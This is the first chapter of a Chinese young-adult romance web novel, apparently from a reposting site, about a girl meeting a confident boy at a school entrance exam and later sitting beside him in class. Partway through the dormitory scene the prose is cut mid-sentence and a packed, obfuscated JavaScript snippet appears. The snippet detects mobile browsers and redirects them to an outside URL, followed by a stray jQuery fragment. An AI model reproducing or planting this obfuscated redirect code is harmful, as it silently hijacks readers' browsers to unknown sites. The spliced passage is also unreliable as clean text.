《不止于夏》
夏晚栀/文
2025.11.8
晋江文学城首发
年少时的暗恋，就像藏了四季的薄荷糖，剥开是清甜，咬碎是冷苦。
后来，糖过期了。
可我还是，只喜欢你。
-
八月末。
暑气被压实在地表，闷得人心里发燥。道旁梧桐枝叶蓊郁，夏末的风穿过叶梢，晃了满地的光影。
“嗤——”一声。
18路公交车吐着气，在站台边停稳。
沈芮宁随着人流下车。
她穿了一件棉白上衣，胸前印着抹淡绿色的英文，下身是条白裙，裙摆扫过细瘦的脚踝。高马尾，几缕碎发勾在耳侧，整个人像一杯温吞的清水。
干净，剔透，一股学生气。
她在站台边停下脚步，转头望去。
周围梧桐枝桠交错，视线尽头，“星海中学”几个字隐隐可见。
今天是高一的分班考。
这条梧桐小道，是所有学生必经的路。
沈芮宁看了眼腕表，八点，还早。
她看了眼路对面，有一家早餐店。
肚子也正好“咕噜”一叫。
她踱步穿过马路，走到了路对面。
这家早饭店排队的人很多，但大多数都是学生。
她在队伍末尾排好，抬眼看着上方的早餐菜单，包子、豆浆、油条，林林总总，却没有她最想吃的那样。
学校周边的店，手脚都利索，没等多久，就快轮到她了。
“小伙子要吃什么。”老板嗓门亮堂。
“饭团。”
饭团？
沈芮宁一愣，还有饭团？
她最喜欢吃的饭团，只不过刚刚没看到上面的菜单上有饭团。
此时。
前面的男生侧了侧身。
她这才看见，他身前摆着个不小的木桶，里面是热糯米。
系着围裙的老板套着塑料手套，挖起一大勺糯米饭，在保鲜膜上摊平、压实，热情地问：“加点什么？”
“油条、榨菜、里脊、肉松。”
“好嘞！”
老板娴熟的将饭团裹紧、捏实，递给男生：“来，拿好！”
接着又问沈芮宁：“小姑娘，你要什么？”
“饭团。”
“加什么？”
“油条、榨菜、肉松、还有里脊。”
老板抱歉地笑了笑：“不好意思啊小姑娘，最后一串里脊被前面那个小伙子买走了。”
沈芮宁下意识转头。
那男生正咬了一大口手里的饭团，鼓着一边腮帮，似乎听到了她的话，咀嚼的动作慢了下来。他另一只手扶住身旁的自行车把手，长腿一跨，利落坐上车座。
车轮转动前，他回头瞥了她一眼。
目光很轻，带着点随意，甚至可能还有一丝骄傲。
就这么一眼。
沈芮宁心里微小遗憾，忽然发酵成了一丝清晰的懊恼。
“叮叮”两声，少年踩着车，朝前驶去。
看方向，也是去星海中学的。
不过他穿的不是校服，估计也是考生。
她回头轻说：“没关系，那就不要里脊了。”
-
越靠近校门，嘈杂声越响。
沈芮宁从裙袋中拿出手机，按停音乐，纤细的手指绕着耳机线，收了几圈，准备塞回包里。
刚侧过身，一边书包带子就滑了下来。
她还没来得及去拉，另一边带子也跟着不听话地往下坠。
沈芮宁有些无奈地停下脚步，顺着那点重量侧了侧肩，把带子重新拉好，而后抬眼。
就在那一瞬。
一道身影蛮横地闯进了她的视野。
浓荫里，蹲着个穿灰色短袖的男生。
只一眼，沈芮宁就认出了那件衣服，和和早餐店前的那个人一模一样。
他低着头，手上摆弄着面前一辆倒地的自行车，车胎干瘪地贴附着地面。
不过姿态中，却没有考生应有的着急和狼狈。
也在这刻。
握在掌心的手机尖锐嗡鸣。
沈芮宁垂眼，屏幕上“爸爸”两个字不断闪烁。
顿了几秒，她才划过接听：“喂，爸。”
“芮芮到了吗？”
“嗯。”
“这次好好考啊！只要能冲进重点班，就等于一只脚已经迈进好大学的门槛了，知不知道？
“……嗯”她淡淡道。
电话利落挂断。
沈芮宁慢吞收起手机，吁出一口气，目光悄无声息地，再次转向路对面。
男生依旧蹲在那里，不知何时，手机也贴在了耳边。他侧着脸，光从叶隙间切开，落在他棱角分明的脸上，一半明，一半暗。
他拧着眉：“行了，一个考试而已，我车胎瘪了都没急，您急什么？”
那口吻，轻松得近乎嚣张。
然后，他像是察觉到了什么。
毫无预兆地，猛然侧首。
目光在空中猝然相抵。
隔着错乱的人群，那双眼睛，又黑又亮，带着一点探究地看向她。
沈芮宁平稳的呼吸瞬间被打乱，指尖不自觉地捏紧了书包带。
他脸上没什么表情，可眼神中，却带着天然的温度。
烫人，又直白得不容回避。
恰时。
灼热的日光恰被流云遮掩，满地的光斑瞬间熄灭。一阵轻风袭来，擦过树梢，叶子沙沙作响，风尾扫过她的额发，黏在脸颊，掀起一阵微痒的悸动。
沈芮宁颤了颤睫，仓皇地别开脸，随即，快步隐入了校门的人流。
仿佛慢一秒，就会被那道目光，烫伤后颈。
……
校门口的宣传栏前挤满了学生，上面贴着考场安排。沈芮宁踮脚看了一眼，好在考场在一号，挺明显，一下就找到了。
考场外的走廊上已经站了不少考生，几乎人手一本书或笔记，空气里弥漫着一种无声胜有声的厮杀感。
星海是市重点，能考进来的，多少都有两把刷子。
除了沈芮宁。
用她爸妈的话说，就是——
“祖坟冒青烟了。”
不过，她不想显得太格格不入，索性也拿出了一本语文书装装样子。
等到八点四十，几位监考老师面色严肃地走进了教室。
虽说是入学考，但阵仗却和中考一模一样，金属探测仪从头扫到脚，检查过后，才能进教室。
沈芮宁在队伍的尾部，进去的时候整个教室几乎都已坐满了人。
她顺着座位号找过去，刚落座，目光瞥向前方。
那个位置还空着，桌角的准考证信息模糊，只能勉强辨出是个短发。
大概率是个男生。
她正想着。
“叮——”
考试预备铃骤然打响。
她暗暗叹了口气，没再继续看，低头拿出笔袋。
而下一秒，走廊外突然砸来一阵脚步声。
“咚咚咚”，又重又急，由远及近。
紧接着——
“报告！”
一道清亮、带着微喘的男声在门口响起。
这一声太过突兀。
瞬间。
整个教室所有人的目光都被吸引了过去。
沈芮宁也跟着抬头。
门边站着个高高瘦瘦的男生。
臂弯里夹着只篮球，一边的书包带滑落至手肘，领口被扯得歪斜。碎发被汗濡湿，胡乱贴在眉骨上，整个人散发着运动后的热气。
他个子极高，往那儿一站，光线都暗了一半。
看样子……应该是个体育生。
沈芮宁的目光掠过他身上那件眼熟的灰色短袖，微微一怔，反应过来。
……是他？
“老师，”男生咧嘴一笑，笑容晃眼，语气里听不出多少真心实意的抱歉，“路上有点事，耽搁了，不算迟到吧？”
监考老师低头看了眼时间，无奈挥手：“快进来吧！”
“好！”他把篮球往门边一搁，配合着另一位老师的检查，动作不紧不慢，坦然接受着全教室的注目，丝毫不见半分窘迫。
众目睽睽下。
他视线懒懒一扫，像巡视领地，最后落在了沈芮宁正前方，那唯一空着的座位上。
他拎着个瘪瘪的笔袋走来，椅子“刺啦”一声被拉开。
身上带着热意和阳光暴晒过的味道，身影落下的瞬间，骄横地挡住了她前方一小片光线，视野骤然暗下。
沈芮宁默然垂下眼，收回了目光。
-
上午考的是文科，算是沈芮宁的强项，她写得挺顺，笔没怎么停。
可这份轻松没能撑过中午。
下午数学卷一发，画风突变。密密麻麻的数字和图形一股脑涌来，在她脑中盘根错节。
沈芮宁心力交瘁地托住发胀的额头，视线疲惫地向上一抬。
前面那个男生俯在桌上，袖口遮住了半张脸，只露出了直挺的鼻梁，薄唇微抿，肩背随着呼吸微微起伏。
这是……睡着了？
在这种环境下能睡着，沈芮宁多多少少有点佩服。
或许，只有彻底放弃，或者拥有绝对底气的人，才能这样吧。
显然，她倾向于前者——
看来，又是个来“陪跑”的。
她唇角扯动了下，心里那点平衡感还没建立起来，就被后面的大题击碎。
她清楚，自己与他，也不过是五十步笑百步。
……
考试结束后。
沈芮宁脱力地收拾好笔袋，走到走廊上，和其他人一样拿出下一门要考的课本。
刚翻开一页。
眼角余光里，一抹鲜亮的橙色在视野边缘打转。
她下意识抬眼——
又是那个男生。
他单手指尖懒懒转着篮球，步子迈得大而散漫，三两步就混入了离场的人群里。
但却格外显眼。
他们考场在一楼，旁边就是操场。
沈芮宁自己都没察觉，目光是怎么追随着那道身影出去的。
等她回过神，少年已经站在了那片被阳光浸染的球场中央。
偌大的操场上，只有他一个人。
高一还没开学，高三这个时间点也在上课。
他运球、起跳、投篮，纤长的影子在红色的塑胶地面跃动着，每一个动作都漫不经心，却又标准。
篮球脱手，在光线下划出一道干净利落的弧线。
“唰”地一声。
空心入网，网花轻颤。
不知过了多久。
西沉的太阳切开层叠的树叶，金红的光穿透了缝隙，落在了她的眼睫处，变得刺目。她下意识垂眼躲闪，视线这才不情不愿地落回摊开的书页上。
上面的符号、公式依旧如同天书。
出门前，妈妈一边给她整理着衣领，一边叮嘱道：“芮芮，好好考，争取进重点班。”
爸爸也是。
她吸了口气，指尖不自觉地用力，几乎要将薄薄的书页捏皱。
从某种意义上来说，她和那个男生是相似的。
不过。
却又不同。
……
傍晚，天色擦黑。
沈芮宁打开门。
“芮芮回来啦！”妈妈刘婉清一边擦着手一边从厨房快步出来，眉眼弯起，接过她肩上的书包，“考了一天累坏了吧？感觉怎么样？题目难不难？”
三个问题同时向她抛来。
一时间，她都不知道先回答哪一个好。
沈芮宁蹲下身，借着解鞋带的动作，短暂地将自己藏了起来。
沉默拉扯了好几秒。
半晌，她抬起头，嘴角牵起一个练习过的微笑，选了个适合所有问题的答案——
“还行。”
还行。
是个她很喜欢用的词。
进可攻，退可守。
可以代表“一般”，也可以代表“不好”。
-
过了没几天。
开学考试成绩就出来了。
算是意料之中。
还行。
星海高中分AB班和普通班。
AB都是重点，其他算普通。
沈芮宁自然被分到了普通班——
高一（1）班。
刘婉清和沈谦牧看着成绩单，也没多说什么，只嘱咐了一句“高中了，要好好努力”。
那平静之下的失望，像透明的保鲜膜裹住了她，透不过气。
按学校规定，高一新生一律得住校。
开学那两天，沈芮宁的父母都抽不开身，最好她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781117|190421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只好一个人去学校。
她原本暗自庆幸，觉得自己来得够早，能有段独处的时间慢慢收拾，慢慢适应新的环境。她骨子里慢热，需要这样的缓冲。
可走到304门口，发现门虚掩着。
她慢慢推开，靠窗的下铺上已经铺好了粉白的床单，一个背影正背对着她，整理着书桌。
听见滑轮声，那女生转过身。
两人的目光在空中悄然碰上。
沈芮宁有些措手不及，却立马浮起礼貌的笑：“你好！”
女生也走到她面前：“你好！”
“我叫沈芮宁。”
“周清萤！”
周清萤长得白净，戴着一副圆框的细边眼镜，整个人透着一股书卷气的文静。
几句话聊下来，沈芮宁发现她的性格自己差不多，都不是初见就特别热络的人，却有种温水煮茶似的舒适与合拍。
后来，另外两位室友也陆续到了。
一个叫苏清允。
另外一个叫唐心怡。
四个人性格各异，相处起来却很舒服。
没有网上说的那些寝室纷扰的狗血剧情。
-
傍晚。
她们四个一起走进教室，找了个相邻的位置坐下。
教室里全是新同学的闲言碎语——
“我听说咱们班不少学霸呢！”
“学霸？在普通班？”
“喏，你旁边那个周清萤，中考全市第五！”
“我去！真的假的？”
“谁知道呢……哦对了，还有一个叫陈西曜的，听说也挺厉害，中考好像失误了，但这次开学考直接冲进了全校前十！”
“那他们怎么没去重点班？”
“谁知道呢，也许是想在普通班‘捏软柿子’吧？
“……”
沈芮宁低着头，耳边时不时飘进几句，像细小的风，钻进心里。
唐心怡也听到了，看向周清萤：“哇塞！姐妹，你真是中考第五啊？”
周清萤谦虚地笑了笑：“嗯，运气好。”
苏清允又问：“那你怎么不去重点班？”
“压力太大了，”周清萤说，“在普通班也挺好的。”
沈芮宁原本以为，在星海的普通班至少能喘口气。没想到，周围的同学依然个个优秀。
晚自习前的教室里，时不时能听到有人谈论自己的中考分数。
她坐在其中，像个误入鹤群的黑鹳，羽毛黯淡，格格不入。
在沈芮宁原来的初中，她不算差，甚至能排进年纪前十。
可到了这儿，却连鸡头都算不上。
充其量是个鸡尾。
她暗暗叹了口气。
也在这时。
一位穿着黑色教师装的女人走了进来，周身带着一股生人勿近的气场。
原本细碎的讲话声也瞬间消失。
她环视全班，神情严肃：“同学们好，我是你们的班主任姓许，”她转身，拿起粉笔，在黑板上写上“许明瑾”三个字，笔锋锐利，“你们可以叫我许老师。在这一年，将由我担任大家的班主任，并教授英语课……”
交代完班规，她看了眼时间：“现在我们先分座位。所有人到门外，按身高排成两列，男生一列，女生一列。”
沈芮宁在女生中个子最高，默默站到了队尾。分座位时，也被自然安排在了倒数第二排。
一个靠窗的位置，初秋的晚霞铺满了半张桌面。
只不过，她旁边还空着。
“座位暂时这样定。现在，请每位同学上台做自我介绍。”
沈芮宁的心跳猛地漏了一拍。
她是个典型的I人，每次开学最怕的就是这个环节。
大家互相认识一下不就好了吗，为什么非要去台上讲？
可终究逃不过。
她低着头，一遍遍在心里重复那几句再简单不过的自我介绍，根本没听台上的同学说了什么，喜欢什么。
“下一个！”
许明瑾冷淡的目光扫了过来。
她深吸一口气，站起身，走到讲台中央。
几十道目光像聚光灯一样齐刷刷打在她身上，脸颊和耳根开始控制不住地发烫。
“大家好，我是沈芮宁，”她努力弯起嘴角，想让自己看起来从容，“我的爱好是……”
话音刚起——
“咚咚咚！”
几声干脆、甚至带着点肆无忌惮的敲门声，猝然打断了她的开场。
全班目光，连同她的，一起转向门口。
逆着光，一个高挑的身影站在门口。
本该规规矩矩的蓝白校服，硬是给他穿出了几分落拓随性的味道。余晖洒在少年清朗的眉眼上，神情里却掺着几分疏懒、不懈，黑发微乱，下颌瘦削，面部线条凌利。
除了那双眼睛温润了点，其他地方都透着一股与性格不符的冷硬感。
这是沈芮宁第四次见到他。
“不好意思老师，”他开口，声音清冽，带着恰到好处的诚恳，“路上自行车轮胎瘪了，所以来晚了。”
又是车胎瘪了？
沈芮宁几乎要冷笑。
许明瑾的目光在他身上审视了几秒，开学第一天，终究没多说，只挥了挥手，严声道：“进来吧，下次注意时间。先找个空位坐下。”
教室里此刻只剩下两个空位。
一个在沈芮宁的右手边，另一个在教室中间的过道旁，都是后排的座位。
他站在原地，目光在两者之间短暂地巡梭了一瞬，几乎没有什么犹豫便迈腿。
方向明确，目标精准。
径直走到了靠窗的位置——沈芮宁的旁边。
而后坐下。
被他这么一搅和，自我介绍也草草收场。
沈芮宁垂眼回到座位，端正坐好，听老师讲述新学期要注意的事情。
旁边的男生却毫不在意，低头翻着书包，窸窸窣窣的声响持续传来，存在感强得让人无法忽略。
过了一会儿，那恼人的动静终于停了。
紧接着，一只手肘忽然轻轻抵了下她的手臂。
温热，短暂，触感分明。
她转头过去。
毫无防备地，撞进一双乌黑、透亮的眼眸中。
少年侧身靠过来，嘴角一牵，声音像浸了晨露的薄荷叶，清泠又好听：
“你好，我叫陈西曜。”